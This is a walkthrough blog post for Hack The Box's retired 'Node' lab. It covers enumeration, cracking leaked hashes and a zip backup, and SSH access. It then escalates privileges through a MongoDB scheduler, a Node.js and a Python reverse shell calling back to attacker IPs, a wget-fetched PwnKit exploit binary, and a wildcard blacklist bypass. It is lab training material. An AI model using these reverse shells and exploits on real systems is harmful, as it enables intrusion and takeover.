htb-node

Today we are going to solve another CTF challenge “Node” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Intermediate

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.58 so let’s begin with nmap port enumeration.

root@kali:~/htb/node# nmap -sC -sV 10.10.10.58
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-03 15:37 CET
Nmap scan report for 10.10.10.58
Host is up (0.028s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open http Node.js Express framework
| hadoop-datanode-info: 
|_ Logs: /login
| hadoop-tasktracker-info: 
|_ Logs: /login
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.01 seconds
root@kali:~/htb/node# dirb http://10.10.10.58:3000 -a "Custom Agent"
-----------------
DIRB v2.22 
By The Dark Raver
-----------------
START_TIME: Thu Jan 3 15:39:21 2019
URL_BASE: http://10.10.10.58:3000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
USER_AGENT: Custom Agent
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.58:3000/ ----
+ http://10.10.10.58:3000/assets (CODE:301|SIZE:171) 
+ http://10.10.10.58:3000/uploads (CODE:301|SIZE:173) 
+ http://10.10.10.58:3000/vendor (CODE:301|SIZE:171) 
-----------------
END_TIME: Thu Jan 3 15:41:56 2019
DOWNLOADED: 4612 - FOUND: 3

Knowing port 3000 is running HTTP on target machine we preferred to explore his IP our browser.

We don’t find anything on the home page so we take a look at the source code of the page and go through javascripts. In one of the javascript we find a link to a page called /api/users/latest.

We open http://10.10.10.58:3000/api/users and find the usernames and passwords in the hash.

[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

We use https://crackstation.net to decode the hashes that we found earlier.

We click on login and use one the username to login with its corresponding password. When we log in we find an option to download the backup. We click on it and it downloads a file called “myplace.backup”.

We try to take a look at the downloaded file and find that it is base64 encoded.

We decode the backup file and find it to be a zip file.

root@kali:~/# cat myplace.backup | base64 --decode > myplace

When we try to unzip the file it asks for a password, so we use fcrackzip to brute-force the zip file using rockyou.txt as wordlist. After brute-forcing the file we find the password; we use this password to unzip the file.

root@kali:~/# fcrackzip -D -p /usr/share/wordlists/rockyou.txt myplace

After unzipping the file we find a file few HTML and javascript files that look like the implementation of node.js. In app.js we find the username and password hash for monogDB.

We use this username and password to login through ssh into the target machine.

root@kali:~/htb/node# ssh mark@10.10.10.58
mark@10.10.10.58's password:5AYRft73VtFpc84k

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

.-. 
.-'``(|||) 
,`\ \ `-`. 88 88 
/ \ '``-. ` 88 88 
.-. , `___: 88 88 88,888, 88 88 ,88888, 88888 88 88 
(:::) : ___ 88 88 88 88 88 88 88 88 88 88 88 
`-` ` , : 88 88 88 88 88 88 88 88 88 88 88 
\ / ,..-` , 88 88 88 88 88 88 88 88 88 88 88 
`./ / .-.` '88888' '88888' '88888' 88 88 '8888 '88888' 
`-..-( ) 
`-`


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3
mark@node:~$ 
`
mark@node:/home/tom$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.7 37928 5588 ? Ss 2018 0:10 /sbin/init
--snip--
root 1231 0.0 0.7 65520 5904 ? Ss 2018 0:00 /usr/sbin/sshd -D
tom 1232 0.0 6.4 1028324 48628 ? Ssl 2018 0:29 /usr/bin/node /var/www/myplace/app.js
mongodb 1234 0.4 9.8 284032 74904 ? Ssl 2018 21:08 /usr/bin/mongod --auth --quiet --config /etc/mon

When we take a look at the process running into the system, we find that it is running app.js as tom user.

We open app.js and find the same username and password that we found earlier. It means that its backup was created using some script or program that we find earlier. Going through the file we also find this script calls for a file called backup in /usr/local/bin directory and uses a key to create a backup.

Now that we know that the target machine is running mongoDB we use this to exploit the system and get a reverse shell.

This process is repeated every 30 seconds, indefinitely. As the service is running as tom, this gives the attacker an easy means of escalating to the tom account.

To exploit this, first, the attacker must connect to the mongodb instance using the previously identified credentials by running mongo -p -u mark scheduler and then entering the password when prompted.

From here, the attacker should simply create a new document in the tasks collection, with their desired payload as the cmd property.

mark@node:~$ mongo -p -u mark scheduler
MongoDB shell version: 3.2.16
Enter password:5AYRft73VtFpc84k
connecting to: scheduler
> db.tasks.insert( { "cmd": "/bin/cp /bin/bash /tmp/puckbash; chmod u+s /tmp/puckbash;" } );
WriteResult({ "nInserted" : 1 })

After the scheduler service picks up this task on its next run, a new SUID binary will be in the /tmp directory:

mark@node:/tmp$ ./puckbash -p
tombash-4.3$ whoami
tom
Or we can use The Node.js reverse shell

The Javascript code below is a Node.js reverse shell. Remember to change the IP address and PORT with the nc you are running.

root@kali:~/htb/node# cat reverse.js
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(443, "10.10.14.19", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
root@kali:~/htb/node# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.58 - - [03/Jan/2019 18:22:42] "GET /reverse.js HTTP/1.1" 200 -
mark@node:/tmp$ wget http://10.10.14.19/reverse.js
--2019-01-03 17:19:33-- http://10.10.14.19/reverse.js
Connecting to 10.10.14.19:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 381 [application/javascript]
Saving to: ‘reverse.js’

reverse.js 100%[===================>] 381 --.-KB/s in 0s

2019-01-03 17:19:33 (41.4 MB/s) - ‘reverse.js’ saved [381/381]

mark@node:/tmp$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler
> use scheduler
switched to db scheduler
> show collections
tasks
> db.tasks.insert({"cmd":"/usr/bin/node /tmp/reverse.js"});
WriteResult({ "nInserted" : 1 })

Alternatively:

mark@node:/tmp$ cat shell.sh
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

mark@node:/tmp$ mongo -p -u mark scheduler
MongoDB shell version: 3.2.16
Enter password: 5AYRft73VtFpc84k
connecting to: scheduler
> mongo -u mark -p 5AYRft73VtFpc84k scheduler
2019-09-11T13:43:45.676+0100 E QUERY [thread1] SyntaxError: missing ; before statement @(shell):1:9

> use scheduler
switched to db scheduler
> show collections
tasks
> db.tasks.insertOne( { cmd: "bash /tmp/shell.sh" });
{
"acknowledged" : true,
"insertedId" : ObjectId("5d78ecb0e390010121399dd1")
}
>
root@kali:~/htb# rlwrap nc -lvp 53
listening on [any] 53 ...
10.10.10.58: inverse host lookup failed: Unknown host
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.58] 49462
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
$ cd /home/tom
$ cat user.txt
e11*****1b1
User Shell (tom) / Privilege Escalation

Now that the attacker is in the context of tom, they can read user.txt and start moving on to the root user.

To escalate at this point, the attacker needs to revisit some of the information found previously. Now that there is access to tom, who is part of the admin group, the SUID found in /usr/local/bin can be accessed; depending on how the shell was accessed.

If it was accessed using a SUID as per the previous section, an additional step will have to be taken, which will be modifying the SUID binary to also set the GID bit; and to change the group owner to admin for example by adding another task in mongodb like this:

db.tasks.insert( { cmd: "/bin/chown tom:admin /tmp/puckbash; chmod g+s /tmp/pucktombash;" } );

Once the GID bit is set, the shell will also inherit the admin group:

puckbash-4.3$ groups
mark admin

The reason this is required is as an earlier section pointed out – the SUID within /usr/local/bin can only be executed by root and members of the admin group.

Once the attacker has access to this binary, running it with no parameters will result in nothing being output to stdout.

At this point, the attacker can either begin fuzzing the application to find the usage, or can rewind back to the Node.js application that was serving the web application. As this binary is what the Node.js application is using for the backup functionality.

Examining the code in /var/www/myplace/app.js will show that it’s calling it with the following effective command:

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /var/www/myplace

The parameter list, in order from left to right, is:

  • The output mode, -q for quiet, or any other string for a verbose output
  • The access token
  • The directory to archive

Should the user fuzz the application, they’ll not be able to progress without a valid access token:

The access tokens can be found, in plain text, within the /etc/myplace directory, if the user decides to go the fuzzing route.

From here, there are multiple ways to get the root flag and a root shell.

Method 1 – Using Wildcards (Easy)

The easiest route to getting the root flag, is to use wildcards to work around the blacklisted keywords. If attempting to use the backup tool to backup the /root directory, users will be presented with a fake backup:

tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
 [+] Finished! Encoded backup is below:

UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==

Upon decoding and extracting this backup, root.txt won’t be quite what it seems:

By replacing some characters with wildcards, however, it is possible to evade the blacklist and grab the root flag:

tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt | base64 -d > root.zip
tom@node:/tmp$ unzip root.zip
Archive:  root.zip
[root.zip] root/root.txt password:
 extracting: root/root.txt           
tom@node:/tmp$ cat root/root.txt
172*****be0
tom@node:/tmp$

Unattended pwnkit exploit  to root

https://github.com/puckiestyle/CVE-2021-4034

tom@node:/dev/shm$ wget http://10.10.14.12/cve-2021-4034.elf
wget http://10.10.14.12/cve-2021-4034.elf
--2022-03-16 09:51:19-- http://10.10.14.12/cve-2021-4034.elf
Connecting to 10.10.14.12:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16864 (16K) [application/octet-stream]
Saving to: ‘cve-2021-4034.elf’

cve-2021-4034.elf 100%[===================>] 16.47K --.-KB/s in 0.1s

2022-03-16 09:51:19 (161 KB/s) - ‘cve-2021-4034.elf’ saved [16864/16864]

tom@node:/dev/shm$ chmod +x cve-2021-4034.elf
chmod +x cve-2021-4034.elf
tom@node:/dev/shm$ ls -la
ls -la
total 24
drwxrwxrwt 2 root root 80 Mar 16 09:51 .
drwxr-xr-x 20 root root 3980 Mar 16 08:07 ..
-rwxr-xr-x 1 tom tom 16864 Mar 16 09:31 cve-2021-4034.elf
-rw-r--r-- 1 tom tom 3858 Mar 16 08:59 root.zip
tom@node:/dev/shm$ ./cve-2021-4034.elf
./cve-2021-4034.elf
# id
id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1000(tom),1002(admin)
# cd /root
cd /root
# ls
ls
root.txt
# cat root.txt
cat root.txt
1722[redacted]6be0
#

Author: Jacco Straathof

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *